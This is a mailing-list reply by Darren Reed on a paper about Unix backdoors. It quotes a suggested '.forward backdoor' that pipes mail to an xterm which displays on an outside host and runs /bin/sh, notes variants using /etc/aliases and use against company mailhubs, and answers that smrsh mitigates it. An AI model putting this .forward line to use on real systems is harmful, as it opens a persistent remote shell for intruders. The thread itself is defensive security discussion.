Re: Backdoor Paper

[avalon () COOMBS ANU EDU AU (Darren Reed)]

In some mail from Evil Pete, sie said:
> > Here's a paper I wrote on backdoors.  Feedback welcome.
>
> <snip>
>
> you may want to add:
>
>
>     .forward Backdoor
>
>     On Unix machines, placing commands into the .forward file was also
>     a common method of regaining access.  For the account ``username''
>     a .forward file might be constructed as follows:
>
>         \username
>         |"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh"
>
>     permutations of this method include alteration of the systems mail
>     aliases file (most commonly located at /etc/aliases).  Note that
>     this is a simple permutation, the more advanced  can run a simple
>     script from the forward file that can take arbitrary commands via
>     stdin (after minor preprocessing).
>
>
>                 -Pete
>
> PS: The above method is also useful gaining access a companies
>         mailhub (assuming there is a shared a home directory FS on
>         the client and server).

Using smrsh can effectively negate this backdoor (although it's quite
possibly still a problem if you allow things like elm's filter or
procmail which can run programs themselves...).

Darren